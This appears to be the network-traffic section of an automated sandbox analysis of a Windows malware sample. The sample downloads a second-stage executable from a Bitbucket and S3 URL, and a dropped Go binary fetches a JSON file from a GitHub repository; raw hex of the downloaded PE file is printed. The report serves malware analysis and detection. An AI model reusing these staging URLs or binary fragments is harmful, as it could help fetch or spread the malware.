Aug 27, 2024 13:07:30.500319004 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.500329018 CEST	443	49750	3.211.178.193	192.168.2.4
Aug 27, 2024 13:07:30.500346899 CEST	49750	443	192.168.2.4	3.211.178.193
Aug 27, 2024 13:07:30.500351906 CEST	443	49750	3.211.178.193	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 13:05:45.378835917 CEST	64043	53	192.168.2.4	1.1.1.1
Aug 27, 2024 13:05:45.385963917 CEST	53	64043	1.1.1.1	192.168.2.4
Aug 27, 2024 13:05:46.678253889 CEST	60698	53	192.168.2.4	1.1.1.1
Aug 27, 2024 13:05:46.698316097 CEST	53	60698	1.1.1.1	192.168.2.4
Aug 27, 2024 13:05:53.648963928 CEST	54986	53	192.168.2.4	1.1.1.1
Aug 27, 2024 13:05:53.660893917 CEST	53	54986	1.1.1.1	192.168.2.4
Aug 27, 2024 13:07:19.793945074 CEST	54049	53	192.168.2.4	1.1.1.1
Aug 27, 2024 13:07:19.800834894 CEST	53	54049	1.1.1.1	192.168.2.4
Aug 27, 2024 13:07:29.656049013 CEST	53736	53	192.168.2.4	1.1.1.1
Aug 27, 2024 13:07:29.664385080 CEST	53	53736	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 27, 2024 13:05:45.378835917 CEST	192.168.2.4	1.1.1.1	0x33ee	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.678253889 CEST	192.168.2.4	1.1.1.1	0x20d4	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:53.648963928 CEST	192.168.2.4	1.1.1.1	0xd3e3	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:07:19.793945074 CEST	192.168.2.4	1.1.1.1	0xf183	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:07:29.656049013 CEST	192.168.2.4	1.1.1.1	0x1643	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 27, 2024 13:05:45.385963917 CEST	1.1.1.1	192.168.2.4	0x33ee	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:45.385963917 CEST	1.1.1.1	192.168.2.4	0x33ee	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:45.385963917 CEST	1.1.1.1	192.168.2.4	0x33ee	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.51.233	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.234.33	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.123.137	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.66.108	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.208.33	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.122.81	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.88.116	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:46.698316097 CEST	1.1.1.1	192.168.2.4	0x20d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.86.131	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:53.660893917 CEST	1.1.1.1	192.168.2.4	0xd3e3	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:53.660893917 CEST	1.1.1.1	192.168.2.4	0xd3e3	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:53.660893917 CEST	1.1.1.1	192.168.2.4	0xd3e3	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:05:53.660893917 CEST	1.1.1.1	192.168.2.4	0xd3e3	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:07:19.800834894 CEST	1.1.1.1	192.168.2.4	0xf183	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:07:29.664385080 CEST	1.1.1.1	192.168.2.4	0x1643	No error (0)	httpbin.org		3.211.178.193	A (IP address)	IN (0x0001)	false
Aug 27, 2024 13:07:29.664385080 CEST	1.1.1.1	192.168.2.4	0x1643	No error (0)	httpbin.org		34.194.69.213	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

bbuseruploads.s3.amazonaws.com

raw.githubusercontent.com

github.com

https:

45.125.66.18

httpbin.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.166.143.49	443	7612	C:\Users\user\Desktop\UBONg7lmVR.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:05:46 UTC	109	OUT	GET /updated24/updated24/downloads/Updated11.12.exe HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-08-27 11:05:46 UTC	4997	IN	HTTP/1.1 302 Found Date: Tue, 27 Aug 2024 11:05:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-4f05-aba3-c7f453357584/Updated11.12.exe?response-content-disposition=attachment%3B%20filename%3D%22Updated11.12.exe%22&AWSAccessKeyId=ASIA6KOSE3BNM7G6QD3X&Signature=axhudmqEvDM%2FSUhiHDRgUnl7%2FLM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEPv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBPQNDA%2Bh4G46KXw4LFfA9Io2JrUo7qexVGkmClXZ9XZAiEArKzvP5lXvxR0bzw4zii8AXSrZI4T8YzSZDU5HRHXvGAqpwIIFBAAGgw5ODQ1MjUxMDExNDYiDBQ5D%2BO3Og5loUNzrCqEAlNSqyxdg90lqENE7Z1SnCpP6CAEKvQ2ZHflx5%2B9h97EGF%2BXeWo6gNL%2FKeau4g9mlbbEotcMw%2BrrPvVtwNlOZZrAvPyqKCz9MZpRG%2BpiC03DY8EyD%2BgUcSrXtsYVj1pY8epvtBzRmE%2FiDtiuZev9AlPjjVReOc21XzmG2S5RzBnktovq9Demuoz4DZKVKfYpiyX89uYSRKAsxMv%2FByN7IdIq6qCZVRx0QazWdIaUsZX5xlSjdEpSJPis3lWADR%2FBDkpX3wpSdaWD8PCizYGKT%2F2E2%2FTQ6T9aJkUzXz9IvClo4ct3sHAuc3qQYEfeMTJWLjMFtZKl8vhj%2BumqVAPYpTlp6oAVMNfjtrYGOp0BKT9YWtFy1GR5MK5hXid7YqSJRvsd%2FwKLvb%2BM6KMzyorpcCHfTbjl0lcEiPM9exK3azj%2BG9Z6KbEtKqhP2JBh1l8 [TRUNCATED] Expires: Tue, 27 Aug 2024 11:05:46 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: af20b92cf0ae X-Version: e13784b917ea X-Static-Version: e13784b917ea X-Request-Count: 354 X-Render-Time: 0.06661272048950195 X-B3-Traceid: b4582ced187d484eb0f1469616170840 X-B3-Spanid: d6d8106431675a2f X-Frame-Options: SAMEORIGIN Content-Security-Policy: base-uri 'self'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io events.launchdarkly. [TRUNCATED] X-Usage-Quota-Remaining: 998923.218 X-Usage-Request-Cost: 1095.63 X-Usage-User-Time: 0.020974 X-Usage-System-Time: 0.011895 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: b4582ced187d484eb0f1469616170840 Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	52.216.51.233	443	7612	C:\Users\user\Desktop\UBONg7lmVR.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:05:47 UTC	1211	OUT	GET /5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-4f05-aba3-c7f453357584/Updated11.12.exe?response-content-disposition=attachment%3B%20filename%3D%22Updated11.12.exe%22&AWSAccessKeyId=ASIA6KOSE3BNM7G6QD3X&Signature=axhudmqEvDM%2FSUhiHDRgUnl7%2FLM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEPv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBPQNDA%2Bh4G46KXw4LFfA9Io2JrUo7qexVGkmClXZ9XZAiEArKzvP5lXvxR0bzw4zii8AXSrZI4T8YzSZDU5HRHXvGAqpwIIFBAAGgw5ODQ1MjUxMDExNDYiDBQ5D%2BO3Og5loUNzrCqEAlNSqyxdg90lqENE7Z1SnCpP6CAEKvQ2ZHflx5%2B9h97EGF%2BXeWo6gNL%2FKeau4g9mlbbEotcMw%2BrrPvVtwNlOZZrAvPyqKCz9MZpRG%2BpiC03DY8EyD%2BgUcSrXtsYVj1pY8epvtBzRmE%2FiDtiuZev9AlPjjVReOc21XzmG2S5RzBnktovq9Demuoz4DZKVKfYpiyX89uYSRKAsxMv%2FByN7IdIq6qCZVRx0QazWdIaUsZX5xlSjdEpSJPis3lWADR%2FBDkpX3wpSdaWD8PCizYGKT%2F2E2%2FTQ6T9aJkUzXz9IvClo4ct3sHAuc3qQYEfeMTJWLjMFtZKl8vhj%2BumqVAPYpTlp6oAVMNfjtrYGOp0BKT9YWtFy1GR5MK5hXid7YqSJRvsd%2FwKLvb%2BM6KMzyorpcCHfTbjl0lcEiPM9exK3azj%2BG9Z6KbEtKqhP2JBh1l8nNQ0B8rOE9SFVdCbfZZDWbRo0WGaMriccmr%2FYO0vC% [TRUNCATED] Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-08-27 11:05:47 UTC	546	IN	HTTP/1.1 200 OK x-amz-id-2: dx92nqmal5BChswhOrzMbv24rk05Y0l9zY2K+If8WYJI6kxlc4sHWau0ZqdUlvpbzIyNyGTLg9s= x-amz-request-id: KP6WQX6Q8E1ZASKR Date: Tue, 27 Aug 2024 11:05:48 GMT Last-Modified: Mon, 26 Aug 2024 20:19:25 GMT ETag: "a499c507987982c951093e21df0c0d96" x-amz-server-side-encryption: AES256 x-amz-version-id: izy_Ds9c9HofVlO8w4O6Dv7xs.26iHyB Content-Disposition: attachment; filename="Updated11.12.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Server: AmazonS3 Content-Length: 8077824 Connection: close
2024-08-27 11:05:47 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0f 00 00 00 00 00 00 8a 75 00 cc 1d 00 00 f0 00 22 00 0b 02 03 00 00 7e 26 00 00 d4 03 00 00 00 00 00 a0 dc 06 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 b0 84 00 00 06 00 00 00 00 00 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdu"~&@`
2024-08-27 11:05:47 UTC	478	IN	Data Raw: 49 3b 66 10 0f 86 c1 00 00 00 55 48 89 e5 48 83 ec 28 48 8b 10 48 85 d2 74 72 48 83 7a 18 00 90 74 73 0f b6 72 17 40 f6 c6 20 74 30 48 8d 70 08 48 b9 21 a6 56 6a a1 6e 75 00 48 31 d9 48 89 d0 48 89 f3 e8 b8 00 00 00 48 ba bf 63 8f bb 6b ef 52 00 48 0f af c2 48 83 c4 28 5d c3 48 8b 70 08 48 b9 21 a6 56 6a a1 6e 75 00 48 31 d9 48 89 d0 48 89 f3 e8 88 00 00 00 48 ba bf 63 8f bb 6b ef 52 00 48 0f af c2 48 83 c4 28 5d c3 48 89 d8 48 83 c4 28 5d c3 48 89 d0 e8 e3 c7 05 00 b9 18 00 00 00 48 89 c7 48 89 de 31 c0 48 8d 1d 82 1e 2e 00 e8 4a ea 04 00 e8 e5 70 00 00 48 89 c3 48 8d 05 db 18 29 00 e8 f6 3e 03 00 90 48 89 44 24 08 48 89 5c 24 10 e8 a6 5c 06 00 48 8b 44 24 08 48 8b 5c 24 10 e9 17 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: I;fUHH(HHtrHztsr@ t0HpH!VjnuH1HHHckRHH(]HpH!VjnuH1HHHckRHH(]HH(]HHH1H.JpHH)>HD$H\$\HD$H\$
2024-08-27 11:05:47 UTC	16384	IN	Data Raw: 10 90 48 83 fa 04 74 2b 48 83 fa 08 75 11 48 89 d8 48 89 cb e8 e9 79 06 00 48 83 c4 58 5d c3 48 89 d8 48 89 cb 48 89 d1 e8 55 79 06 00 48 83 c4 58 5d c3 48 89 d8 48 89 cb e8 84 79 06 00 48 83 c4 58 5d c3 48 8b 54 24 50 48 83 c2 18 48 8b 74 24 40 48 ff ce 48 8b 5c 24 70 48 89 c1 0f 1f 44 00 00 48 85 f6 7e 53 48 89 74 24 40 48 89 4c 24 38 48 89 54 24 50 48 8b 02 48 8b 4a 08 48 89 4c 24 48 48 8b 5a 10 48 89 5c 24 30 e8 d2 c5 ff ff 84 c0 74 07 48 8b 44 24 38 eb a9 48 8b 54 24 70 48 8b 74 24 30 48 8d 1c 16 48 8b 44 24 48 48 8b 4c 24 38 e8 6a fe ff ff eb 8a 48 89 c8 48 83 c4 58 5d c3 48 8b 70 30 48 8b 3e 48 0f af fa 48 01 df 48 ff c2 48 89 54 24 28 48 89 f0 48 89 fb 0f 1f 00 e8 3b fe ff ff 48 8b 5c 24 70 48 8b 54 24 28 48 89 c1 48 8b 44 24 68 48 39 50 40 77 c4 Data Ascii: Ht+HuHHyHX]HHHUyHX]HHyHX]HT$PHHt$@HH\$pHDH~SHt$@HL$8HT$PHHJHL$HHZH\$0tHD$8HT$pHt$0HHD$HHL$8jHHX]Hp0H>HHHHT$(HH;H\$pHT$(HHD$hH9P@w
2024-08-27 11:05:47 UTC	1024	IN	Data Raw: 5c 24 70 48 8b 4c 24 48 48 8d 3d d1 23 2e 00 be 20 00 00 00 e8 09 a9 04 00 eb 1d 31 c0 48 8b 5c 24 70 48 8b 4c 24 48 48 8d 3d ae 14 2e 00 be 1e 00 00 00 e8 ea a8 04 00 48 81 c4 f8 00 00 00 5d c3 48 8d bc 24 98 00 00 00 48 8d 7f e0 48 89 6c 24 f0 48 8d 6c 24 f0 e8 11 41 06 00 48 8b 6d 00 48 c7 84 24 a0 00 00 00 16 00 00 00 48 8d 15 9c c9 2d 00 48 89 94 24 98 00 00 00 48 89 9c 24 b0 00 00 00 48 89 84 24 a8 00 00 00 48 c7 84 24 c0 00 00 00 08 00 00 00 48 8d 15 28 59 2d 00 48 89 94 24 b8 00 00 00 48 8b 54 24 60 48 89 94 24 d0 00 00 00 48 8b 94 24 88 00 00 00 48 89 94 24 c8 00 00 00 48 c7 84 24 e0 00 00 00 11 00 00 00 48 8d 15 b4 99 2d 00 48 89 94 24 d8 00 00 00 48 8b 51 18 48 8b 71 20 48 89 b4 24 f0 00 00 00 48 89 94 24 e8 00 00 00 31 c0 48 8d 9c 24 98 00 00 Data Ascii: \$pHL$HH=#. 1H\$pHL$HH=.H]H$HHl$Hl$AHmH$H-H$H$H$H$H(Y-H$HT$`H$H$H$H$H-H$HQHq H$H$1H$
2024-08-27 11:05:47 UTC	16384	IN	Data Raw: 00 00 80 fa 78 0f 85 97 00 00 00 84 c9 74 75 48 85 c0 7d 66 49 8d 50 01 48 39 d6 73 50 48 89 f8 48 89 d3 48 89 f1 bf 01 00 00 00 48 8d 35 90 c6 27 00 e8 6b 67 04 00 4c 8b 8c 24 e8 00 00 00 4c 8b 94 24 28 01 00 00 4c 8b 9c 24 10 01 00 00 48 89 da 48 89 c7 48 89 ce 48 8b 84 24 18 01 00 00 0f b6 4c 24 6b 48 8b 9c 24 20 01 00 00 c6 44 3a ff 2d 49 89 c4 49 f7 dc eb 10 4c 89 c2 49 89 c4 66 90 eb 06 4c 89 c2 49 89 c4 44 0f 11 7c 24 57 44 0f 11 7c 24 5b 41 b8 13 00 00 00 e9 2a 02 00 00 90 80 fa 79 0f 85 85 00 00 00 48 85 db 7d 66 49 8d 50 01 48 39 d6 73 50 48 89 f8 48 89 d3 48 89 f1 bf 01 00 00 00 48 8d 35 f4 c5 27 00 e8 cf 66 04 00 4c 8b 8c 24 e8 00 00 00 4c 8b 94 24 28 01 00 00 4c 8b 9c 24 10 01 00 00 48 89 da 48 89 c7 48 89 ce 48 8b 84 24 18 01 00 00 0f b6 4c Data Ascii: xtuH}fIPH9sPHHHH5'kgL$L$(L$HHHH$L$kH$ D:-IILIfLID\|$WD\|$[A*yH}fIPH9sPHHHH5'fL$L$(L$HHHH$L
2024-08-27 11:05:47 UTC	1024	IN	Data Raw: 8b 36 4d 8b 36 b8 80 96 98 00 e8 73 8d 02 00 85 c0 7c c4 eb a7 cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 51 55 48 89 e5 48 83 ec 20 49 8b 4e 30 4c 89 f2 48 39 11 75 2b 48 89 44 24 30 48 89 5c 24 38 48 89 c8 e8 74 90 02 00 48 8b 44 24 30 48 8b 5c 24 38 31 c9 31 ff e8 41 fd ff ff 48 83 c4 20 5d c3 48 8d 05 31 73 2d 00 bb 14 00 00 00 e8 2a c5 02 00 90 48 89 44 24 08 48 89 5c 24 10 e8 1a d7 05 00 48 8b 44 24 08 48 8b 5c 24 10 eb 8e cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 65 55 48 89 e5 48 83 ec 28 49 8b 4e 30 4c 89 f2 48 39 11 74 3f 48 89 44 24 38 48 89 5c 24 40 48 89 c8 e8 f4 8f 02 00 e8 4f 7b 03 00 48 8b 44 24 38 48 8b 5c 24 40 31 c9 31 ff 90 e8 bb fc ff ff 88 44 24 27 e8 32 a1 05 00 0f b6 44 24 27 48 83 c4 28 5d c3 48 8d 05 99 Data Ascii: 6M6s\|I;fvQUHH IN0LH9u+HD$0H\$8HtHD$0H\$811AH ]H1s-*HD$H\$HD$H\$I;fveUHH(IN0LH9t?HD$8H\$@HO{HD$8H\$@11D$'2D$'H(]H
2024-08-27 11:05:47 UTC	16384	IN	Data Raw: 00 00 e8 3b dc 02 00 48 8d 05 22 5c 2d 00 bb 12 00 00 00 e8 aa e4 02 00 48 8b 05 83 7c 59 00 0f 1f 00 e8 db e1 02 00 48 8d 05 75 01 2e 00 bb 25 00 00 00 e8 8a e4 02 00 b8 00 10 00 00 0f 1f 44 00 00 e8 9b e2 02 00 48 8d 05 46 02 2d 00 bb 02 00 00 00 e8 6a e4 02 00 e8 45 dc 02 00 48 8d 05 4f 6f 2d 00 bb 14 00 00 00 e8 34 c1 02 00 e8 cf db 02 00 48 8d 05 b6 5b 2d 00 bb 12 00 00 00 0f 1f 00 e8 3b e4 02 00 48 8b 05 14 7c 59 00 e8 6f e1 02 00 48 8d 05 c9 f8 2d 00 bb 24 00 00 00 0f 1f 00 e8 1b e4 02 00 b8 00 00 08 00 e8 31 e2 02 00 48 8d 05 dc 01 2d 00 bb 02 00 00 00 0f 1f 44 00 00 e8 fb e3 02 00 e8 d6 db 02 00 48 8d 05 e0 6e 2d 00 bb 14 00 00 00 e8 c5 c0 02 00 48 8d 05 34 cc 2d 00 bb 1e 00 00 00 e8 b4 c0 02 00 48 8d 05 b7 51 2d 00 bb 11 00 00 00 e8 a3 c0 02 00 Data Ascii: ;H"\-H\|YHu.%DHF-jEHOo-4H[-;H\|YoH-$1H-DHn-H4-HQ-
2024-08-27 11:05:47 UTC	1024	IN	Data Raw: 5d 90 c3 0f b7 78 52 48 8d 3c 3e 48 8d 7f f8 48 8b 37 48 85 f6 74 1e 48 89 b4 24 a0 00 00 00 0f b6 78 50 90 4c 8d 56 08 48 8d 3c fe 48 8d 7f 08 45 31 db eb 6d 0f b6 73 08 40 f6 c6 02 75 9d 48 8b 70 40 48 83 7e 08 00 74 92 0f b7 48 52 48 89 ce 48 0f af ca 48 83 c6 f8 48 03 4b 18 48 83 c1 08 90 48 89 c8 48 89 f3 e8 35 3a 00 00 48 8b 84 24 b8 00 00 00 48 8b 54 24 40 48 8b 9c 24 c0 00 00 00 4c 8b 4c 24 20 e9 50 ff ff ff 44 0f b6 60 50 44 0f b6 68 51 49 ff c3 4d 01 e2 4c 01 ef 0f 1f 00 49 83 fb 08 0f 8d 57 ff ff ff 46 0f b6 24 1e 41 80 fc 01 77 0b 42 c6 04 1e 04 eb ce 0f 1f 40 00 41 80 fc 05 0f 82 60 03 00 00 44 8b 68 54 41 0f ba e5 00 73 05 4d 8b 2a eb 03 4d 89 d5 4c 89 5c 24 28 48 89 bc 24 98 00 00 00 4c 89 ac 24 88 00 00 00 4c 89 94 24 90 00 00 00 44 0f b6 Data Ascii: ]xRH<>HH7HtH$xPLVH<HE1ms@uHp@H~tHRHHHHKHHH5:H$HT$@H$LL$ PD`PDhQIMLIWF$AwB@A`DhTAsM*ML\$(H$L$L$D
2024-08-27 11:05:47 UTC	16384	IN	Data Raw: b6 60 50 4e 01 64 0c 58 44 0f b6 60 51 4e 01 64 0c 60 44 89 c1 4c 8b 4c 24 20 e9 6d fc ff ff 4c 89 c8 b9 02 00 00 00 e8 56 b2 05 00 48 8d 05 49 ed 2c 00 bb 0d 00 00 00 e8 65 7d 02 00 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 50 8f 05 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 90 e9 7b fa ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 9e 00 00 00 55 48 89 e5 48 8b 50 20 48 8d 72 01 48 89 70 20 48 81 c2 01 04 00 00 48 39 d1 48 0f 42 d1 eb 07 48 ff c6 48 89 70 20 48 8b 70 20 48 39 d6 74 19 0f b7 7b 52 48 0f af fe 48 03 78 18 0f b6 3f 83 c7 fe 90 40 80 ff 03 72 d7 48 39 f1 75 4e 83 3d 41 3b 59 00 00 90 74 0c 48 8b 48 18 e8 d5 ad 05 00 49 89 0b 48 c7 40 18 00 00 00 00 48 8b 48 28 48 85 c9 Data Ascii: `PNdXD`QNd`DLL$ mLVHI,e}HD$H\$HL$PHD$H\$HL${I;fUHHP HrHp HH9HBHHp Hp H9t{RHHx?@rH9uN=A;YtHHIH@HH(H
2024-08-27 11:05:47 UTC	1024	IN	Data Raw: 89 44 24 28 84 00 c6 04 02 a1 48 89 c3 48 8b 44 24 40 e8 6b 00 00 00 48 8b 5c 24 28 48 8b 4c 24 20 0f b6 0c 19 80 f9 a1 75 06 48 83 c4 30 5d c3 48 8d 05 be 2c 2d 00 bb 1b 00 00 00 e8 61 3d 02 00 48 89 d0 e8 39 72 05 00 ba 00 00 00 40 e8 8f 72 05 00 90 48 89 44 24 08 48 89 5c 24 10 0f 1f 40 00 e8 3b 4f 05 00 48 8b 44 24 08 48 8b 5c 24 10 e9 2c ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 48 89 e5 48 89 d9 31 d2 31 f6 e9 12 01 00 00 4c 89 e1 4c 89 c8 4c 89 d3 e9 04 01 00 00 0f b6 38 90 49 89 f8 83 e7 7f 4c 8d 48 01 41 0f ba e0 07 72 14 48 85 ff 0f 84 f1 00 00 00 48 c1 ef 03 31 c0 e9 65 03 00 00 48 85 ff 75 09 31 c0 31 ff e9 e2 02 00 00 31 c0 45 31 c0 e9 f0 00 00 00 48 0f af c7 48 83 ff 39 77 10 90 4c 8d 43 ff 48 89 d1 49 89 f2 e9 5f 01 00 00 48 29 d7 4c Data Ascii: D$(HHD$@kH\$(HL$ uH0]H,-a=H9r@rHD$H\$@;OHD$H\$,UHH11LLL8ILHArHH1eHu111E1HH9wLCHI_H)L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	185.199.111.133	443	7992	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 11:05:54 UTC	140	OUT	GET /workhasf/kelm/main/yjsefceawd.json HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 11:05:54 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 254 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "2b7d5e7976210b6b6243eb731562fda7633790a0d3e8fe06e97c427ca3df3b40" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C138:B7845:695157:749E29:66CDB080 Accept-Ranges: bytes Date: Tue, 27 Aug 2024 11:05:54 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740026-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1724756754.290051,VS0,VE47 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0e29a9fb76c2652e13e82cf7cca1cb75ccd83a89 Expires: Tue, 27 Aug 2024 11:10:54 GMT Source-Age: 0
